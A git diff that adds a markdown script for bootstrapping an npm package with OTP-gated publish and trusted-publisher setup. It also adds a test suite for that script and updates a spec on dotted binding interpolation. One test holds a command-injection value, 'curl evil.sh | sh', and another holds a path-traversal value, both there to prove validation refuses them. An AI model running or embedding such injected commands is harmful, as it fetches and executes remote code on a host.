diff --git a/scripts/bootstrap-npm-package.md b/scripts/bootstrap-npm-package.md new file mode 100644 index 00000000..b7fde1ed --- /dev/null +++ b/scripts/bootstrap-npm-package.md @@ -0,0 +1,267 @@ +--- +title: Bootstrap an npm package +required: [package] +props: + package: + type: string + pattern: "^packages/[a-z0-9][a-z0-9._-]*$" + description: Workspace package directory, e.g. packages/web +--- + +# Bootstrap an npm package + +A new `@executablemd` package needs a registry record before its first tagged +release. This document creates one: it publishes an empty `0.0.0-bootstrap.0` +artifact under the `bootstrap` dist-tag and configures GitHub Actions as the +package's trusted publisher. It never publishes `latest` — the first tagged +release publishes the implementation. + +The publish and the trust configuration both need a one-time code, and the +document asks for it at the point of use. Everything before that point is a +preview: guards, the generated artifact, and `npm pack --dry-run`. Nothing +reaches the registry until the code is entered, and a preview that fails ends +the run without asking for one. + +## Run + +```sh +deno task xmd run scripts/bootstrap-npm-package.md --props-package packages/web +``` + +> [!WARNING] +> Run this document **without `-j`/`--journal` and without `--verbose`**. The +> code you enter is interpolated into the publish command, and the durable entry +> for a code block records that command: `--journal` persists the code to a file +> on disk, and `--verbose` reports it to stderr. Neither is needed here. + +Two things this document cannot do for you, both because they are browser flows +that the code prompt cannot carry: + +- **Be logged in.** Check with + `npm whoami --registry=https://registry.npmjs.org`, and log in if it fails. +- **Have a recent enough npm.** `npm trust` needs npm 11.15 or newer. The + document checks this before anything else and refuses rather than publishing + an artifact it cannot then configure — but installing a newer npm is yours. + With Volta, `volta install npm@11.18.0` and put that npm first on `PATH`. + +Re-running is safe. A package already sitting at `0.0.0-bootstrap.0` under the +`bootstrap` dist-tag skips the publish and re-runs the trust configuration, so +a run that lost its code partway through resumes by starting over. + +## Preview + + + +The verdict file is written before the work, not after, so a block that dies +anywhere — including under `set -euo pipefail`, before it could report — leaves +a failure behind rather than nothing. + +```bash silent exec +printf 'fail: preview did not complete' > "{artifact}/verdict" +``` + +```bash exec +set -euo pipefail + +pkg_dir="{package}" +artifact_dir="{artifact}" +registry="https://registry.npmjs.org" +bootstrap_version="0.0.0-bootstrap.0" + +# First, before the registry is contacted at all. An npm too old for `npm trust` +# can still publish, and would leave exactly the half-configured package this +# document exists to avoid. +if ! node -e ' + const [major, minor] = process.argv[1].split(".").map(Number); + process.exit(major > 11 || (major === 11 && minor >= 15) ? 0 : 1); +' "$(npm --version)"; then + echo "npm trust requires npm 11.15 or newer; found $(npm --version)." >&2 + exit 1 +fi + +if [ ! -f "$pkg_dir/deno.json" ] || [ ! -f "$pkg_dir/package.json" ]; then + echo "package must name a workspace member with deno.json and package.json: $pkg_dir" >&2 + exit 1 +fi + +pkg_name="$(node -e 'const fs = require("fs"); console.log(JSON.parse(fs.readFileSync(process.argv[1], "utf8")).name)' "$pkg_dir/package.json")" +pkg_description="$(node -e 'const fs = require("fs"); console.log(JSON.parse(fs.readFileSync(process.argv[1], "utf8")).description ?? "")' "$pkg_dir/package.json")" + +case "$pkg_name" in + @executablemd/*) ;; + *) + echo "package must name an @executablemd package: $pkg_name" >&2 + exit 1 + ;; +esac + +if existing="$(npm view "$pkg_name" version --json --registry "$registry" 2>&1)"; then + if ! printf '%s\n' "$existing" | grep -Fq "\"$bootstrap_version\""; then + echo "$pkg_name already exists on npm with a version other than $bootstrap_version:" >&2 + printf '%s\n' "$existing" >&2 + exit 1 + fi + + tags="$(npm view "$pkg_name" dist-tags --json --registry "$registry" 2>&1)" + if ! printf '%s\n' "$tags" | grep -Eq "\"bootstrap\"[[:space:]]*:[[:space:]]*\"$bootstrap_version\""; then + echo "$pkg_name does not have the expected bootstrap dist-tag:" >&2 + printf '%s\n' "$tags" >&2 + exit 1 + fi + + echo "$pkg_name@$bootstrap_version already exists; the publish will be skipped." +elif ! printf '%s\n' "$existing" | grep -q 'E404'; then + echo "could not confirm whether $pkg_name exists on npm:" >&2 + printf '%s\n' "$existing" >&2 + exit 1 +else + echo "$pkg_name is absent from npm; it will be published at $bootstrap_version." +fi + +# Generated here and published from here: the artifact previewed below is the +# artifact that goes to the registry, not a second one built to match it. +node -e ' + const fs = require("fs"); + const [file, name, description] = process.argv.slice(1); + fs.writeFileSync(file, JSON.stringify({ + name, + version: "0.0.0-bootstrap.0", + description: `Bootstrap reservation for ${description || name}.`, + license: "MIT", + repository: { + type: "git", + url: "git+https://github.com/taras/executable.md.git", + }, + homepage: "https://executable.md", + files: ["README.md"], + }, null, 2) + "\n"); +' "$artifact_dir/package.json" "$pkg_name" "$pkg_description" + +cat >"$artifact_dir/README.md" < "$artifact_dir/verdict" +``` + + + +```bash exec +cat "{artifact}/verdict" +``` + + + +The pattern is anchored at both ends, so it accepts the sentinel and nothing +else: `not ok`, a `fail: …` reason, and an empty verdict all fail it. Only the +surrounding whitespace a rendered code block carries is tolerated. + + + +## Publish + +The code is asked for here, after the preview and before anything reaches the +registry. Enter a **fresh** one: both the publish and the trust configuration +ride the same code, and a code entered early may expire between them. + + + +```json +{ + "type": "object", + "properties": { + "code": { + "type": "string", + "pattern": "^\\d{6}$" + } + }, + "required": ["code"], + "additionalProperties": false +} +``` + + + + +Enter a fresh six-digit npm one-time code. It authorizes both the bootstrap +publish and the trusted-publisher configuration, so generate it now rather than +reusing one from a moment ago. + + +```bash silent exec +printf 'fail: publish did not complete' > "{artifact}/verdict" +``` + +```bash exec +set -euo pipefail + +pkg_dir="{package}" +artifact_dir="{artifact}" +registry="https://registry.npmjs.org" +bootstrap_version="0.0.0-bootstrap.0" + +pkg_name="$(node -e 'const fs = require("fs"); console.log(JSON.parse(fs.readFileSync(process.argv[1], "utf8")).name)' "$pkg_dir/package.json")" + +# Checked again, not carried over from the preview: the operator has been away +# entering a code, and the registry may have gained the package in the meantime. +# Publishing on the preview's answer would publish over whatever arrived. +publish=0 +if existing="$(npm view "$pkg_name" version --json --registry "$registry" 2>&1)"; then + if ! printf '%s\n' "$existing" | grep -Fq "\"$bootstrap_version\""; then + echo "$pkg_name gained a version other than $bootstrap_version since the preview:" >&2 + printf '%s\n' "$existing" >&2 + exit 1 + fi + echo "$pkg_name@$bootstrap_version is already published; skipping the publish." +elif ! printf '%s\n' "$existing" | grep -q 'E404'; then + echo "could not confirm whether $pkg_name exists on npm:" >&2 + printf '%s\n' "$existing" >&2 + exit 1 +else + publish=1 +fi + +if [ "$publish" = "1" ]; then + (cd "$artifact_dir" && npm_config_otp={otp.code} npm publish --access public --tag bootstrap --registry "$registry") +fi + +npm_config_otp={otp.code} npm trust github "$pkg_name" \ + --file publish-packages.yml \ + --repository taras/executable.md \ + --environment npm-publish \ + --allow-publish \ + --registry "$registry" \ + --yes + +echo "npm dist-tags:" +npm view "$pkg_name" dist-tags --json --registry "$registry" + +echo "trusted publisher:" +npm trust list "$pkg_name" --registry "$registry" + +printf 'ok' > "$artifact_dir/verdict" +``` + + + +```bash exec +cat "{artifact}/verdict" +``` + + + + + +## Afterwards + +Create the matching package on JSR under the `@executablemd` scope and link it +to this repository before the next tagged release. `deno publish` fails for a +package that does not exist on JSR, and the JSR job publishes the workspace as a +unit — so one uncreated package fails the release for every package. diff --git a/scripts/tests/bootstrap-npm-package.test.ts b/scripts/tests/bootstrap-npm-package.test.ts new file mode 100644 index 00000000..b06fb251 --- /dev/null +++ b/scripts/tests/bootstrap-npm-package.test.ts @@ -0,0 +1,548 @@ +/** + * `scripts/bootstrap-npm-package.md` — the whole document, driven through + * `execute()`. + * + * The document's job is not to publish; it is to refuse to publish. A failed + * root code block does not stop a text root — expansion turns it into an + * ErrorSegment under the collecting policy and carries on to the next segment — + * and a non-zero command that printed anything raises nothing at all + * (`packages/core/src/expand.ts:675`, filed as #307). So the ordering this + * document depends on is not something the engine provides: it is built out of + * a fail-closed verdict file and an anchored ``, and these tests + * exist to hold that construction up. + * + * Every case therefore asserts the completion `Result` and *both* sides of the + * ordering — what ran before a failure, and what provably did not run after. + * Substitution happens only at contextual Api boundaries: `Elicitation` for the + * question, `API.Process` for the code blocks. The document's own shell runs for + * real under bash; only `npm` is replaced, by a function on `BASH_ENV`. + */ + +import { beforeAll, describe, it } from "@executablemd/test-support/bdd"; +import { expect } from "@executablemd/test-support/expect"; +import { ensure, resource, scoped, until } from "effection"; +import type { Operation } from "effection"; +import { forEach } from "@effectionx/stream-helpers"; +import { ensureDir, exists, readTextFile, rm, writeTextFile } from "@effectionx/fs"; +import { mkdtemp, realpath } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { fileURLToPath } from "node:url"; + +import { InMemoryStream } from "@executablemd/durable-streams"; +import { API } from "@executablemd/runtime"; +import { execute } from "@executablemd/core"; +import { Elicitation } from "@executablemd/core"; +import type { ElicitationRequest } from "@executablemd/core"; +import { installTestingComponents } from "@executablemd/testing"; +import { useTempFileCompiler } from "@executablemd/core"; + +const DOCUMENT = fileURLToPath(new URL("../bootstrap-npm-package.md", import.meta.url)); + +const BOOTSTRAP_VERSION = "0.0.0-bootstrap.0"; +const CODE = "123456"; + +/** What the fake registry answers about the package's current state. */ +type RegistryState = "missing" | "bootstrap" | "unexpected"; + +/** + * The npm the document actually calls. + * + * It records more than its arguments: `PWD` and a listing of it are what make + * the shared-artifact assertions observations rather than inferences, and + * `npm_config_otp` is read as a shell variable because a `VAR=x fn` prefix on a + * function is visible inside it without being exported. + * + * The registry answer comes from a file rather than a variable so the + * elicitation provider can change it mid-run — which is the only way to reach + * the publish-stage recheck independently of the preview. + */ +const FAKE_NPM = ` +npm() { + printf '%s|PWD=%s|LS=%s|otp=%s\\n' "$*" "$PWD" "$(ls -A | tr '\\n' ',')" "\${npm_config_otp-}" >> "$NPM_LOG" + case "$1" in + --version) echo "$NPM_VERSION" ;; + view) + case "$3" in + version) + case "$(cat "$NPM_STATE_FILE")" in + missing) echo "npm error E404" >&2; return 1 ;; + bootstrap) echo '"${BOOTSTRAP_VERSION}"' ;; + unexpected) echo '"1.0.0"' ;; + esac + ;; + dist-tags) echo '{"bootstrap":"${BOOTSTRAP_VERSION}"}' ;; + esac + ;; + pack) + echo '[{"name":"bootstrap-artifact"}]' + if [ "\${NPM_PACK_FAILS-}" = "1" ]; then return 1; fi + ;; + publish) + echo 'npm notice publishing bootstrap artifact' + if [ "\${NPM_PUBLISH_FAILS-}" = "1" ]; then return 1; fi + ;; + trust) + if [ "\${NPM_TRUST_FAILS-}" = "1" ]; then return 1; fi + ;; + esac +} +`; + +interface Fixture { + /** Working directory the document's code blocks run in. */ + root: string; + /** File the fake npm reads its registry answer from. */ + stateFile: string; + /** File the fake npm appends one line per call to. */ + logFile: string; + /** File holding the fake npm function, sourced through `BASH_ENV`. */ + envFile: string; +} + +/** + * A workspace the document can bootstrap: one member with the two manifests its + * guards require. + * + * A `resource`, not a `scoped`: a scoped block would delete the directory before + * handing back its path. + */ +function useFixture(): Operation { + return resource(function* (provide) { + const root = yield* until(realpath(yield* until(mkdtemp(join(tmpdir(), "bootstrap-npm-"))))); + yield* ensure(() => rm(root, { recursive: true, force: true })); + + const member = join(root, "packages", "fixture"); + yield* ensureDir(member); + yield* writeTextFile(join(member, "deno.json"), `{"name":"@executablemd/fixture"}\n`); + yield* writeTextFile( + join(member, "package.json"), + `${JSON.stringify({ name: "@executablemd/fixture", description: "A fixture." })}\n`, + ); + + const fixture: Fixture = { + root, + stateFile: join(root, "registry-state"), + logFile: join(root, "npm.log"), + envFile: join(root, "fake-npm.sh"), + }; + yield* writeTextFile(fixture.envFile, FAKE_NPM); + yield* provide(fixture); + }); +} + +/** One recorded call to the fake npm. */ +interface NpmCall { + args: string; + cwd: string; + listing: string; + otp: string; +} + +function parseLog(contents: string): NpmCall[] { + return contents + .split("\n") + .filter((line) => line.length > 0) + .map((line) => { + const [args = "", cwd = "", listing = "", otp = ""] = line.split("|"); + return { + args, + cwd: cwd.replace(/^PWD=/, ""), + listing: listing.replace(/^LS=/, ""), + otp: otp.replace(/^otp=/, ""), + }; + }); +} + +interface RunOptions { + state?: RegistryState; + /** Registry state the provider installs while the operator is "answering". */ + stateAfterElicit?: RegistryState; + npmVersion?: string; + packFails?: boolean; + publishFails?: boolean; + trustFails?: boolean; + /** How the provider behaves: answer correctly, fail, or break its schema. */ + elicit?: "answer" | "throw" | "invalid"; + /** Overrides the `package` prop, for the input-validation cases. */ + packageProp?: string; + /** Omit `installTestingComponents`, to prove the gate is not inert. */ + withoutTestingComponents?: boolean; + /** Run a variant of the document instead of the real one. */ + documentPath?: string; +} + +interface Run { + ok: boolean; + failure: string; + /** Everything the document rendered, in the order the CLI would write it. */ + output: string; + calls: NpmCall[]; + requests: ElicitationRequest[]; + /** Every command the Process Api was asked to run, interception included. */ + execCount: number; +} + +function run(fixture: Fixture, options: RunOptions = {}): Operation { + return scoped(function* () { + const state = options.state ?? "missing"; + yield* writeTextFile(fixture.stateFile, state); + yield* writeTextFile(fixture.logFile, ""); + + const requests: ElicitationRequest[] = []; + const counter = { execs: 0 }; + + // Installed on this scope, not inside a resource: middleware installs on the + // scope that runs the install, so a provider installed in a resource body + // would be invisible to the execution this function is about to start. + if (!options.withoutTestingComponents) { + // Required. `execute()` registers no assertion components — only the CLI + // does — so without this the document's gates do not + // resolve, every ordering assertion below passes vacuously, and a + // successful run is indistinguishable from a correct one apart from an + // unresolved-component comment in the output. + yield* installTestingComponents({ verbose: false }); + } + yield* useTempFileCompiler(); + + yield* Elicitation.around( + { + *elicit([request]) { + requests.push(request); + if (options.stateAfterElicit) { + yield* writeTextFile(fixture.stateFile, options.stateAfterElicit); + } + if (options.elicit === "throw") { + throw new Error("provider could not reach anyone"); + } + if (options.elicit === "invalid") { + return { unexpected: true }; + } + return { code: CODE }; + }, + }, + { at: "min" }, + ); + + yield* API.Process.around({ + *exec([execOptions], next) { + counter.execs++; + return yield* next({ + ...execOptions, + cwd: fixture.root, + env: { + ...process.env, + BASH_ENV: fixture.envFile, + NPM_LOG: fixture.logFile, + NPM_STATE_FILE: fixture.stateFile, + NPM_VERSION: options.npmVersion ?? "11.18.0", + NPM_PACK_FAILS: options.packFails ? "1" : "", + NPM_PUBLISH_FAILS: options.publishFails ? "1" : "", + NPM_TRUST_FAILS: options.trustFails ? "1" : "", + }, + }); + }, + }); + + const chunks: string[] = []; + let ok = false; + let failure = ""; + try { + const execution = yield* execute({ + path: options.documentPath ?? DOCUMENT, + stream: new InMemoryStream(), + props: { package: options.packageProp ?? "packages/fixture" }, + }); + // The two steps cli.ts performs, in its order: drain the output stream + // first, then read the completion Result. Every failure below arrives + // through the Result rather than by throwing out of the stream. + yield* forEach(function* (chunk: string) { + chunks.push(chunk); + }, execution.output); + const result = yield* execution; + ok = result.ok; + failure = result.ok ? "" : String(result.error?.message ?? result.error); + } catch (error) { + failure = error instanceof Error ? error.message : String(error); + } + + return { + ok, + failure, + output: chunks.join(""), + calls: parseLog(yield* readLog(fixture)), + requests, + execCount: counter.execs, + }; + }); +} + +function* readLog(fixture: Fixture): Operation { + if (!(yield* exists(fixture.logFile))) { + return ""; + } + return yield* readTextFile(fixture.logFile); +} + +/** Did npm get asked to do this? `args` is matched as a prefix of the call. */ +function called(run: Run, args: string): boolean { + return run.calls.some((call) => call.args.startsWith(args)); +} + +function callTo(run: Run, args: string): NpmCall | undefined { + return run.calls.find((call) => call.args.startsWith(args)); +} + +/** + * Nothing reached the registry and nobody was asked. The publish-side half of + * every refusal, asserted as one thing so no case can forget a piece of it. + */ +function expectNoRegistryWrite(run: Run): void { + expect(called(run, "publish")).toBe(false); + expect(called(run, "trust github")).toBe(false); +} + +describe("bootstrap an npm package", () => { + beforeAll(function* () { + // Cheap, and it fails loudly here rather than as a confusing shell error + // inside the first case. + expect(DOCUMENT.endsWith("scripts/bootstrap-npm-package.md")).toBe(true); + }); + + describe("publishing", () => { + it("publishes an absent package and then configures trust", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { state: "missing" }); + + expect(result.failure).toBe(""); + expect(result.ok).toBe(true); + expect(called(result, "publish --access public --tag bootstrap")).toBe(true); + expect(called(result, "trust github @executablemd/fixture")).toBe(true); + expect(result.output).toContain("Bootstrap artifact for @executablemd/fixture"); + }); + + it("resumes an already-bootstrapped package by configuring trust alone", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { state: "bootstrap" }); + + expect(result.ok).toBe(true); + expect(called(result, "publish")).toBe(false); + expect(called(result, "trust github @executablemd/fixture")).toBe(true); + }); + }); + + describe("refusing before anyone is asked", () => { + it("refuses a package already published at another version", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { state: "unexpected" }); + + expect(result.ok).toBe(false); + expect(result.requests.length).toBe(0); + expectNoRegistryWrite(result); + }); + + it("refuses an npm too old for `npm trust`, before touching the registry", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { npmVersion: "11.14.0" }); + + expect(result.ok).toBe(false); + expect(result.requests.length).toBe(0); + // The version check is the last thing that ran: no lookup, no pack, and + // nothing beyond. An old npm that published and then failed at trust is + // the exact half-configured state this ordering prevents. + expect(called(result, "view")).toBe(false); + expect(called(result, "pack")).toBe(false); + expectNoRegistryWrite(result); + }); + + it("refuses when the preview prints before it fails", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { packFails: true }); + + expect(result.ok).toBe(false); + // The engine raises nothing for a non-zero command that wrote to stdout, + // so this is the case that proves the gate does not rest on an exit code. + expect(result.output).toContain("bootstrap-artifact"); + expect(result.requests.length).toBe(0); + expectNoRegistryWrite(result); + }); + + it("refuses a package prop that would reach the shell", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { + packageProp: "packages/fixture; curl evil.sh | sh", + }); + + expect(result.ok).toBe(false); + // Refused by schema validation before the body ran at all — not cleaned + // up inside the shell. + expect(result.execCount).toBe(0); + expect(result.requests.length).toBe(0); + }); + + it("refuses a package prop that escapes the workspace", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { packageProp: "../../etc" }); + + expect(result.ok).toBe(false); + expect(result.execCount).toBe(0); + }); + }); + + describe("refusing after the question, before the registry", () => { + it("stops when the provider cannot reach anyone", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { elicit: "throw" }); + + expect(result.ok).toBe(false); + expect(result.requests.length).toBe(1); + // The preview is on screen; the publish never happened. + expect(result.output).toContain("Bootstrap artifact for @executablemd/fixture"); + expectNoRegistryWrite(result); + }); + + it("stops when the answer does not satisfy its schema", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { elicit: "invalid" }); + + expect(result.ok).toBe(false); + expect(result.requests.length).toBe(1); + expectNoRegistryWrite(result); + }); + }); + + describe("re-checking the registry after the question", () => { + it("refuses a package that gained a foreign version while the operator answered", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { + state: "missing", + stateAfterElicit: "unexpected", + }); + + expect(result.ok).toBe(false); + expect(result.requests.length).toBe(1); + // Publishing on the preview's answer would have published over whatever + // arrived in the meantime. + expectNoRegistryWrite(result); + }); + + it("skips the publish for a package bootstrapped while the operator answered", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { + state: "missing", + stateAfterElicit: "bootstrap", + }); + + expect(result.ok).toBe(true); + expect(called(result, "publish")).toBe(false); + expect(called(result, "trust github @executablemd/fixture")).toBe(true); + }); + }); + + describe("failing on the registry", () => { + it("reports a publish that prints before it fails, and does not configure trust", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { publishFails: true }); + + expect(result.ok).toBe(false); + expect(called(result, "publish")).toBe(true); + expect(called(result, "trust github")).toBe(false); + }); + + it("reports a failed trust configuration", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { trustFails: true }); + + expect(result.ok).toBe(false); + expect(called(result, "publish")).toBe(true); + expect(called(result, "trust github @executablemd/fixture")).toBe(true); + }); + }); + + describe("what the document guarantees about its own shape", () => { + it("previews before it asks, and asks before it publishes", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { state: "missing" }); + + const packAt = result.calls.findIndex((call) => call.args.startsWith("pack")); + const publishAt = result.calls.findIndex((call) => call.args.startsWith("publish")); + expect(packAt).toBeGreaterThanOrEqual(0); + expect(publishAt).toBeGreaterThan(packAt); + // The preview's output is on screen before the question is asked, without + // --verbose — which is what makes the operator's answer an informed one. + expect(result.output).toContain("Bootstrap artifact for @executablemd/fixture"); + }); + + it("carries one code to both the publish and the trust configuration", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { state: "missing" }); + + expect(callTo(result, "publish")?.otp).toBe(CODE); + expect(callTo(result, "trust github")?.otp).toBe(CODE); + }); + + it("publishes the artifact the preview built, from the directory it built it in", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { state: "missing" }); + + const pack = callTo(result, "pack"); + const publish = callTo(result, "publish"); + expect(pack?.cwd).toBeDefined(); + expect(publish?.cwd).toBe(pack?.cwd); + // Written by the preview block, still there when the publish runs. + expect(publish?.listing).toContain("package.json"); + expect(publish?.listing).toContain("README.md"); + }); + + it("releases the shared directory when the run ends", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { state: "missing" }); + + const publish = callTo(result, "publish"); + expect(publish?.cwd).toBeDefined(); + expect(yield* exists(publish?.cwd ?? "")).toBe(false); + }); + + it("resolves every component it uses", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { state: "missing" }); + + // Without this, an unresolved would leave the run looking + // exactly like a correct one — same outcome, same calls — and every + // ordering assertion above would pass while the gates did nothing. + expect(result.output).not.toContain("Cannot resolve component"); + }); + + it("rejects a verdict that merely contains the sentinel", function* () { + const fixture = yield* useFixture(); + // The seeded failure becomes `not ok` — a string a substring test would + // have accepted, letting the run continue to publish. The gate's pattern + // is anchored, so it refuses. + const source = yield* readTextFile(DOCUMENT); + const mutated = source.replace("printf 'fail: preview did not complete'", "printf 'not ok'"); + expect(mutated).not.toBe(source); + const variant = join(fixture.root, "not-ok-variant.md"); + yield* writeTextFile(variant, mutated); + + const result = yield* run(fixture, { packFails: true, documentPath: variant }); + + expect(result.ok).toBe(false); + expect(result.requests.length).toBe(0); + expectNoRegistryWrite(result); + }); + + it("has inert gates when the assertion components are missing", function* () { + const fixture = yield* useFixture(); + const result = yield* run(fixture, { + state: "unexpected", + withoutTestingComponents: true, + }); + + // Not a guarantee the document makes — a guarantee about this suite. A + // refusal case runs to completion and publishes when the gate cannot + // resolve, which is what `installTestingComponents` is holding up. + expect(result.ok).toBe(true); + expect(result.output).toContain("Cannot resolve component"); + }); + }); +}); diff --git a/specs/executable-mdx-spec.md b/specs/executable-mdx-spec.md index fb4bb386..38aa876f 100644 --- a/specs/executable-mdx-spec.md +++ b/specs/executable-mdx-spec.md @@ -1445,7 +1445,7 @@ run but are absent from the diagnostic trace. | `src/errors.ts` | `AmbientErrorPolicy`, `settle()`, `DocumentationError`, `ContentError` — error settlement (§6.9) and the function-content failure boundary (§5.1.2) | | `packages/test-support/bdd.ts` | Cross-runtime Effection BDD adapter — drives `@std/testing/bdd`, `node:test`, and `bun:test` | | `src/eval-handler.ts` | `evalFactory` | -| `src/eval-interpolate.ts` | `interpolateEvalBindings()` — bare `{name}` substitution | +| `src/eval-interpolate.ts` | `interpolateEvalBindings()` — `{name}` and `{name.path}` substitution | | `src/modifiers/persist.ts` | `persistFactory` | | `src/modifiers/timeout.ts` | `timeoutFactory`, `parseDuration()` | | `src/modifiers/daemon.ts` | `daemonFactory` — long-running subprocess terminal modifier | @@ -3553,11 +3553,12 @@ terms as ``. ### 6.6 Eval binding interpolation -Bare `{name}` references (no namespace prefix) resolve against -`env.values` — the eval binding environment populated by preceding -`eval` blocks within the same component. This applies to both -**code block content** and **text segments** (see §6.4 for the text -segment interpolation pipeline). +`{name}` references resolve against `env.values` — the eval binding +environment populated by preceding `eval` blocks within the same +component. A reference may be a bare name or a dot path: the first +segment names the binding, and the rest traverse into it. This applies +to both **code block content** and **text segments** (see §6.4 for the +text segment interpolation pipeline). ````markdown ```ts eval @@ -3572,26 +3573,51 @@ const port = yield* findFreePort(); `{port}` resolves to the number exported by the first block. The substituted content is used to build the subprocess command. +A binding holding an object is read the same way, one dot at a time: + +````markdown +```ts eval +const release = { tag: "v1.4.0", author: { name: "Ada" } }; +``` + +```bash exec +gh release view {release.tag} --json body +echo "cut by {release.author.name}" +``` +```` + #### Interpolation syntax and precedence -Bare `{name}` references use JavaScript identifier syntax: +References use JavaScript identifier syntax, optionally chained: ``` -\{([a-zA-Z_$][a-zA-Z0-9_$]*)\} +\{([a-zA-Z_$][a-zA-Z0-9_$]*(?:\.[a-zA-Z_$][a-zA-Z0-9_$]*)*)\} ``` -Namespaced references (`{meta.*}`, `{props.*}`) contain a `.` and -are excluded — they are handled by the existing interpolation pass -for text segments. Bare references only match against `env.values`. -If `env.values` has no key `name`, the reference `{name}` is left -verbatim. Non-string values are converted via `String()`. +The **first** segment must be a key in `env.values`; the remaining +segments traverse into the value it holds. A reference is left +verbatim when its first segment is not a binding, when an +intermediate value is `null` or `undefined`, or when an intermediate +segment is missing — so a dotted reference that cannot be resolved +appears in the output rather than becoming `undefined`. Non-string +values are converted via `String()`. + +Namespaced references (`{meta.*}`, `{props.*}`) match this pattern +too; nothing excludes them by shape. In **text segments** they never +reach this pass, because `interpolate()` (§6.4) consumes them first. +In **code block content** they reach it and are left verbatim, +because `meta` and `props` are not binding names — the mechanism is +"no such binding", not a rule about dots. Note: `{meta.*}` and `{props.*}` interpolation applies only to **text segments**, not to code block content. Code blocks receive -only eval binding interpolation (`{name}`). To use a prop value in a -code block, capture it into a binding via an `eval` block first. -Text segments receive both passes: `{meta.*}`/`{props.*}` first, -then bare `{name}` from `env.values`. +only eval binding interpolation. To use a prop value in a code block, +read it under the name the prop is bound to — declared props are +pre-populated into `env.values` at invocation (DEC-EX-09), and at the +root by `execute()` — so a `package` prop is `{package}` in a code +block and `{props.package}` in prose. Text segments receive both +passes: `{meta.*}`/`{props.*}` first, then `{name}` from +`env.values`. #### Where interpolation runs @@ -3603,7 +3629,7 @@ Eval binding interpolation runs in `expandSegments` in two places: are not responsible for text preparation. 2. **Text segments** — after `{meta.*}`/`{props.*}` interpolation - (§6.4). The second pass resolves bare `{name}` references from + (§6.4). The second pass resolves `{name}` references from `env.values` when an `EvalEnv` is present on the scope. Eval blocks skip interpolation entirely — they access bindings directly @@ -3618,8 +3644,25 @@ function interpolateEvalBindings( // Protect escaped braces: \{ → placeholder const escaped = content.replaceAll("\\{", PLACEHOLDER); const interpolated = escaped.replace( - /\{([a-zA-Z_$][a-zA-Z0-9_$]*)\}/g, - (match, key) => key in bindings ? String(bindings[key]) : match, + /\{([a-zA-Z_$][a-zA-Z0-9_$]*(?:\.[a-zA-Z_$][a-zA-Z0-9_$]*)*)\}/g, + (match, key: string) => { + const parts = key.split("."); + if (!(parts[0] in bindings)) { + return match; + } + let value: unknown = bindings; + for (let i = 0; i < parts.length; i++) { + if (value == null || typeof value !== "object") { + return match; + } + const obj = value as Record; + if (i < parts.length - 1 && !(parts[i] in obj)) { + return match; + } + value = obj[parts[i]]; + } + return String(value); + }, ); // Restore escaped braces: placeholder → literal { return interpolated.replaceAll(PLACEHOLDER, "{"); @@ -6306,12 +6349,18 @@ visible warning blocks, collect into a separate error report). |---|------|--------| | P1 | Bare binding resolves from `env.values` | `{port}` with `env.values.port = 49821` → `"49821"` in content | | P2 | Bare binding with no env entry left verbatim | `{port}` with no `port` in `env.values` → `"{port}"` unchanged | -| P3 | Bare binding does not match namespaced refs | `{meta.title}` and `{props.name}` not affected by eval binding pass | +| P3 | Namespaced refs survive the eval binding pass | `{meta.title}` and `{props.name}` left verbatim — because `meta` and `props` are not bindings, not because the pattern rejects dots | | P4 | Multiple bindings in one content | `{host}:{port}` → both substituted | | P5 | Non-string binding converted via `String()` | `env.values.port = 49821` (number) → `"49821"` | | P6 | Binding interpolation runs before modifier chain | Resulting `ctx.content` in modifier contains substituted value | | P7 | Same-run env populated before interpolation | Eval result sets `port`; subsequent block interpolates correctly | | P8 | Non-serializable binding remains current-run only | Function is usable in the current component expansion and absent from the trace | +| P9 | Dot path reads a nested property | `{pr.meta.number}` with `env.values.pr = { meta: { number: "42" } }` → `"42"` | +| P10 | Dot path traverses to any depth | `{a.b.c.d}` → the leaf value | +| P11 | Dot path with an unknown root left verbatim | `{unknown.path}` with no `unknown` binding → `"{unknown.path}"` | +| P12 | Dot path with a missing intermediate left verbatim | `{pr.nonexistent.field}` → unchanged, not `"undefined"` | +| P13 | Dot path through `null` left verbatim | `env.values.pr = { meta: null }`, `{pr.meta.title}` → unchanged | +| P14 | Bare and dotted references mix | `{pr.stats.totalFiles} files, port {port}` → both substituted | ### Tier Q — `daemon` modifier @@ -6740,7 +6789,7 @@ must preserve the trace for diagnosis or remove it before starting a new run. | 36 | `daemon` is a terminal modifier that ignores `next` | Process lifetime ≠ command result; `exec` in the chain satisfies the §3.2 detection rule without invoking `durableExec` | | 37 | `daemon` uses `evalScope`, not the durable run scope | Lifetime matches component expansion — daemon lives for `` and dies with the component, not the whole document run | | 38 | `daemon` produces no journal entry | The process is an ephemeral resource and starts on every run | -| 39 | Eval binding interpolation uses bare `{name}` syntax | Distinct from `{meta.key}` and `{props.key}` namespaces; local eval bindings are local variables, not namespaced data; regex excludes names containing `.` to avoid conflicts | +| 39 | Eval binding interpolation resolves `{name}` and `{name.path}` against `env.values` | A binding is a local variable, and reading into one should not require an eval block to flatten it first; the first segment must be a binding, so `{meta.key}` and `{props.key}` stay verbatim in code blocks by having no such binding rather than by a rule about dots — in text segments they never arrive, because `interpolate()` consumes them first | | 40 | Eval binding interpolation runs in the expansion engine, not inside modifier factories | Modifiers transform execution results — they are not responsible for preparing source text; one interpolation site in `expandSegments` is consistent with how text segment interpolation already works, and keeps modifier factories free of knowledge about the binding environment | 